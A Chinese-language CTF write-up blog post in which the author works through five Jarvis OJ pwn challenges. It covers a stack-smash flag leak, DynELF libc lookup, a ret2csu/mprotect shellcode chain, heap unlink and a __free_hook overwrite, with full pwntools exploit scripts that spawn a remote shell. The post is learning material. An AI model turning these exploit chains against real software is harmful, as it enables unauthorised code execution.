刷Jarvis OJ时学到的新姿势[不定时更新]

2017-11-08  本文已影响0人  Fish_o0O

0x00 前言

Pwn弱鸡,比赛划水,只好跟着大佬的博客刷刷一些题目才能维持尊严,在刷题目的时候又发现了一些新姿势,在此记录一下。持续龟速更新中


0x01 200pt Smashes

程序很简单,利用gets函数接受Name导致溢出,溢出到stack_check_fail函数报错的地方将服务端的flag给打印出来

主函数 服务端的flag 但有个很恶心的地方就是后面的循环函数,正如他所说的Please overwrite the flag,在这个地方有3个判断:

然后就卡在这里了,一直想如何绕过这个循环,然鹅并没有卵用,绕不过去。最终参考了一下大佬的博客,发现Linux下有个机制ELF重映射

ELF重映射:当可执行文件足够小时,在不同的区段可能被多次映射。

而这道题确实也就是考的这个,在gdb中可以看到在0x400000的地址将这个可执行文件重新映射了一遍,虽然我们覆盖掉了0x600d20处的flag但是在0x400d20处重映射的flag并没有被覆盖。

ELF重映射 脚本如下:
from pwn import *
local = 0
if local:
    p = process('./smashes')
else:
    p = remote('pwn.jarvisoj.com' , 9877)#nc pwn.jarvisoj.com 9877
flag_addr = 0x400D20
p.recvuntil('name? ')
name = p64(flag_addr) * 100 #懒到不想精确计算该改哪个位置于是直接暴力覆盖flag
p.sendline(name)
p.recvuntil('flag: ')
p.send('\x00')
p.interactive()

0x02 250pt level4

前几个level都是简单常见的栈溢出、ROP,到了第四个就很有意思了,虽然程序都是一样的,却没有给libc版本,用leak出来的地址去查也没有查到,在大佬的博客中看到了pwntools中的dynelf方法。
看看pwntools官方文档中的Example

# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

# For the sake of this example, let's say that we
# have any of these pointers.  One is a pointer into
# the target binary, the other two are pointers into libc
main   = 0xfeedf4ce
libc   = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system')      == system

要使用dynelf首先得需要一个能够leak出地址的函数,然后需要知道main函数的地址或者直接有可执行文件,下面的一堆assert大概是校准?有了上述条件后dynelf就可以开始工作了,原理就是从内存里面逐个泄露出地址来暴力搜索想要找的函数。

所以这道题的基本思路就是通过read函数溢出构造好leak函数,用dynelf在内存中暴力搜索system实际地址,然后构造简单rop写/bin/sh并调用system函数即可。脚本如下:

from pwn import *
global p
local = 0
if local:
    p = process('./level4')
else:
    p = remote('pwn2.jarvisoj.com' , 9880)#nc pwn2.jarvisoj.com 9880

p3ret = 0x8048509
def leak(address): 
    elf = ELF('./level4')
    pay = 'a'*0x88 +'bbbb'
    pay += p32(elf.symbols['write']) + p32(p3ret) + p32(1) + p32(address) + p32(4)
    pay += p32(elf.symbols['main'])
    p.sendline(pay)
    data = p.recv(4)
    print "[*]leaking: " + data
    return data

elf = ELF('./level4')
dyn =  DynELF(leak, elf=ELF('./level4'))
bss_addr = 0x804A024
system_addr = dyn.lookup('system' , 'libc')
read_plt = elf.plt['read']
main_addr = elf.symbols['main']
payload = 'a' * 0x88 + 'xebp' + p32(read_plt) + p32(p3ret) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + 'xret' + p32(bss_addr)
p.sendline(payload)
p.interactive()

但不太清楚为什么明明通过system('/bin/sh')起的shell却只能执行一次命令。

只能执行一次命令

0x03 300pt level5

从level0到level5的程序都是差不多的,考点也都是栈溢出,也就是说level5是最高难度的了。程序很简单,可以直接溢出leak地址构rop起shell,但那是level3_x64,虽然程序是一模一样的,同一个脚本也能pwn通,但是题目假设除了一个环境:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。我跟着大牛的思路用mprotect函数,利用64位ELF文件的万能Gadget完成了本题。

主函数

mprotect函数
函数原型:int mprotect(const void *start, size_t len, int prot);
函数功能:把自start开始的、长度为len的内存区的保护属性修改为prot指定的值,其中prot的值就和Linux系统对应的属性值。

万能Gadget
在64位ELF文件中会有一个名叫__libc_csu_init的函数,看其中的汇编代码我们会发现可以通过我们的精心构造可以访问任何地方。我们可以先跳转到红色箭头的地方,控制rbxrbpr12r13r14r15这五个寄存器中的值,然后再ret蓝色箭头的地方,我们可以发现刚刚我们构造的r13r14r15中的值分别传递到了rdxrsirdi寄存器中。而熟悉的人肯定知道rdirsirdx中的值分别对应64位程序中调用函数的前三个参数。而且在这几句后面还有个call,这就很骚了,虽然后面是call [r12+rbx*8]看似很复杂的汇编语言,但是我们可以发现r12rbx的值在红色箭头那里我们都是可控的。如果我们将rbx中的值构造为0r12的值构造为我们想要跳转到一个指针p,这个指针p指向我们想要执行的函数f,那么我们就可以执行函数f了。而且,ELF文件中的got表中就有我们想要的指向函数的指针。

万能Gadget
from pwn import *
context.arch = 'amd64'
local = 0
if local:
    p = process('./level5')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    gdb.attach(p , open('aa'))
else:
    p = remote('pwn2.jarvisoj.com' , 9884)#nc pwn2.jarvisoj.com 9884
    libc = ELF('./libc-2.19.so')


elf = ELF('./level5')
offset = 0x80
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss_addr = elf.bss()
main_addr = elf.symbols['main']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006a6
evercall_addr = 0x400690

#step1 leak libc.addr
p.recvuntil('Input:\n')
payload1 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + 'deadbeef' + p64(write_plt) + p64(main_addr)
p.send(payload1)
libc.address = u64(p.recv(8)) - libc.symbols['read']
print hex(libc.address)
#raw_input()

#step2 hijack __libc_start_main -> mprotect
p.recvuntil('Input:\n')
libc_start_main_got = elf.got['__libc_start_main']
payload2 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(libc_start_main_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload2)
mprotect_addr = libc.symbols['mprotect']
print hex(mprotect_addr)
p.send(p64(mprotect_addr))

#step3 write shellcode -> bss
p.recvuntil('Input:\n')
payload3 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload3)
shellcode = asm(shellcraft.amd64.sh())
print shellcode
p.send(shellcode)


#step4 hijack __gmon_start__ -> bss_shellcode
p.recvuntil('Input:\n')
gmon_start_got = elf.got['__gmon_start__']
payload4 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(gmon_start_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload4)
p.send(p64(bss_addr))
#raw_input()

#step5 using __libc_csu_init to call mprotect and change bss to executable and then execute shellcode
p.recvuntil('Input:\n')
payload5 = 'a' * offset + '__xebp__' + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + 'deadbeef' + p64(0) + p64(1) + p64(libc_start_main_got) + p64(7) + p64(0x1000) + p64(0x600000) + p64(evercall_addr) + 'deadbeef' + p64(0) + p64(1) + p64(gmon_start_got) + p64(0) + p64(0) + p64(0) + p64(evercall_addr) 
#                                                                           + 'deadbeef'    rbx      rbp      r12 -> call r12+rbx*8   r13 -> rdx  r14 -> rsi     r15 -> rdi
p.sendline(payload5)
p.interactive()

没有像大佬那样一次性把ROP链构造完全然后一次性把函数都劫持到位,但我觉得这样一步一步的逻辑清楚一些,也便于自己写脚本,然后值得一提的是在万能Gadget中若将rbx构造得比rbp少一,也就是rbx中为0rbp中为1,那么call完之后又会跳转到我们红色箭头那里然后又可以构造一次访问其他位置。(详情可以见call完后面的那串汇编代码)


0x04 400pt Guestbook2

前面都是栈漏洞,之后应该就是堆题了吧,根据ida可以分析出结构体如下

struct heap{
    int inuse;
    int length;
    char *post;
}
edit
del

unlink

  • 利用原理
    free一个大小在fastbin以上的chunk时,会检查该chunk物理地址相连的两个chunk,并执行下面的逻辑:
free(chunk)
if(prev_chunk == freed)
    unlink(prev_chunk)          //将两个chunk合并
if(next_chunk == top_chunk)
    ......                     //合并到top_chunk
else if(next_chunk == freed)
    unlink(next_chunk)        //将两个chunk合并
to_unsortbin(chunk)          //将经过处理合并后的chunk归入unsortbin

unlink的时候会执行如下操作指针的代码,并且如今还有safe_unlinkcheck机制。

unlink(P, BK, FD) {                                            
    FD = P->fd;                                     
    BK = P->bk;                                     
    if(__builtin_expect (FD->bk != P || BK->fd != P, 0))                              //safe_unlink
        malloc_printerr (check_action, "corrupted double-linked list", P);      
    else{                                   
        FD->bk = BK;                                
        BK->fd = FD;              
       .........................................
    }
}
  • 构造条件
    红色边框中的一个大堆块构造两个小堆块,大小都在unsort bin的范围内,并且将要free的堆块(黑色箭头所指)的前一个堆块为freed的状态,也就是该堆块的size位(绿色箭头所指)的prev_inuse0,同样因为该堆块为inused状态,故下一堆块的size位(紫色箭头所指)的prev_inuse1。这样就构造好了触发unlink的条件,此时free该堆块会导致前一个堆块进行unlink操作,现在要构造绕过safe_unlinkcheck了。也就是需要有一个指针指向前一个堆块的堆头处也就是如红色箭头所示ptr指向fake_prev,并且将该伪堆块的fdbk分别布置为ptr-0x18ptr-0x10(32位时为ptr-0xcptr-0x8),这样就可以满足unsafe_unlinkcheck了。
  • 触发效果
    unlink红色箭头所指的堆块后,指针ptr所指会由刚刚的fake_prev变成ptr-0x18的位置(红色箭头变为蓝色箭头),再编辑ptr的时候就能够覆盖到ptr本身实现后续利用。
    unlink
from pwn import *
local = 1
if local:
    p = process('./guestbook2')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    #gdb.attach(p)# , open('aa'))
else:
    p = remote('pwn.jarvisoj.com' , 9879)#nc pwn.jarvisoj.com 9879
    libc = ELF('./libc.so.6')

def lst():
    p.recvuntil('choice: ')
    p.sendline('1')
    return p.recvuntil('\n== PCTF')[:-8]

def add(length , content):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('new post: ')
    p.sendline(str(length))
    p.recvuntil('your post: ')
    p.send(content)
    sleep(0.1)

def edit(num , length , content):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('number: ')
    p.sendline(str(num))
    p.recvuntil('of post: ')
    p.sendline(str(length))
    p.recvuntil('your post: ')
    p.send(content)
    sleep(0.1)

def dele(num):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('number: ')
    p.sendline(str(num))
    sleep(0.1)

elf = ELF('./guestbook2')
for i in range(5):
    add(0x80 , str(i)*0x80)

#Make freed_chunk1_fd be chunk3_ptr then leak heap base
dele(3)
dele(1) #We have a dangling_ptr
edit(0 , 0x90 , 'a' * 0x20)
#gdb.attach(p)

a = lst().split('\n')[0][0x93:]
heap_base = u64(a + '\x00' * (8 - len(a))) - 0x19d0
chunk0_addr = heap_base + 0x30
success('heap_base => ' + hex(heap_base))
success('chunk0_addr => ' + hex(chunk0_addr))

#Make a fake_chunk satisfied the condition of unlink
payload = p64(0) + p64(0x80) + p64(chunk0_addr - 0x18) + p64(chunk0_addr - 0x10) + 'a' * 0x60 + p64(0x80) + p64(0x90) + 'a' * 0x70
#   fake_prev_size  fake_size   fake_fd = ptr - 0x18      fake_bk = ptr - 0x10        mess  chunk1_prev_size chunk1_size mess duiqi 0x80
print hex(len(payload))
edit(0 , len(payload) , payload)

#gdb.attach(p)
#trigger unlink
dele(1)
#result:  chunk0_addr = chunk0_addr - 0x18

#leak libc.address & get system_address 
atoi_got = elf.got['atoi']
payload = p64(2) + p64(1) + p64(0x100) + p64(chunk0_addr - 0x18) + p64(1) + p64(8) + p64(atoi_got)
payload += '\x00' * (0x100 - len(payload))
edit(0 , len(payload) , payload)
a = lst().split('1. ')[1]
atoi_addr = u64(a + '\x00' * (8 - len(a)))
libc.address = atoi_addr - libc.symbols['atoi']
system_addr = libc.symbols['system']
success('atoi_addr => ' + hex(atoi_addr))
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))

#write atoi to system & get shell
edit(1 , 8 , p64(system_addr)) 
p.sendline('/bin/sh\x00')

p.interactive()

0x05 450pt ItemBoard

题目没有去符号表,根据ida可分析出item数据结构如下:

struct item{
    char *name;
    char *description;
    void (*item_free)();
}
  • 善于利用栈上的结构体,并结合代码段的写操作构造合理的覆盖
  • __free_hook_ptr的定位,pwntools库中的libc.symbols无法定位到__free_hook_ptrida中查找也不是特别方便,只好在调试时先确定__free_hook的地址,再用find的指令查找__free_hook再减去libc基址便可得到__free_hook_ptr的偏移。
  • 在远程使用不同的libc时通过freed unsort bin上指向main_arena泄露地址找libc基址时偏移与本地不同的方法:可先减去__malloc_hook的偏移,然后再强行页对齐,由于main_arena__malloc_hook下面不远处,所以先减去__malloc_hook后,离页对齐差的不是很多,可以一眼看出来该如何对齐。
from pwn import *
local = 0
---
if local:
    p = process('./itemboard')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p = remote('pwn2.jarvisoj.com' , 9887)#nc pwn2.jarvisoj.com 9887
    libc = ELF('./libc-2.19.so')
elf = ELF('./itemboard')

def add(name , length , description):
    p.recvuntil('choose:\n')
    p.sendline('1')
    sleep(0.1)
    p.recvuntil('name?\n')
    p.sendline(name)
    sleep(0.1)
    p.recvuntil('len?\n')
    p.sendline(str(length))
    sleep(0.1)
    p.recvuntil('Description?\n')
    p.sendline(description)
    sleep(0.1)

def lst():
    p.recvuntil('choose:\n')
    p.sendline('2')
    return p.recvuntil('1.Add')[:-6]

def show(no):
    p.recvuntil('choose:\n')
    p.sendline('3')
    p.recvuntil('item?\n')
    p.sendline(str(no))
    a = p.recvuntil('1.Add')[:-6]
    name = a.split('\nDescription:')[0].split('Name:')[1]
    description = a.split('\nDescription:')[1]
    return name , description

def remove(no):
    p.recvuntil('choose:\n')
    p.sendline('4')
    p.recvuntil('item?\n')
    p.sendline(str(no))

def debug():
    print pidof(p)[0]
    raw_input()

add('a' * 0x10 , 0x80 , '1' * 4 + 'Just A Fish Test' + '2' * 4)
add('b' * 0x10 , 0x80 , '3' * 4 + 'Just A Fish Test' + '4' * 4)
add('c' * 0x10 , 0x80 , '5' * 4 + 'Just A Fish Test' + '6' * 4)
remove(1)

if local:
    libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x68
    free_hook_ptr = libc.address + 0x3c3ef8
else:
    libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x78
    free_hook_ptr = libc.address + 0x3bdee8
    
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('free_hook_ptr => ' + hex(free_hook_ptr))
success('system_addr = > ' + hex(system_addr))
add('/bin/sh\x00' , 0x410 , p64(system_addr) + 'a' * 0x400 + p64(free_hook_ptr - 8))
remove(3)
#debug()
p.interactive()
上一篇下一篇

猜你喜欢

热点阅读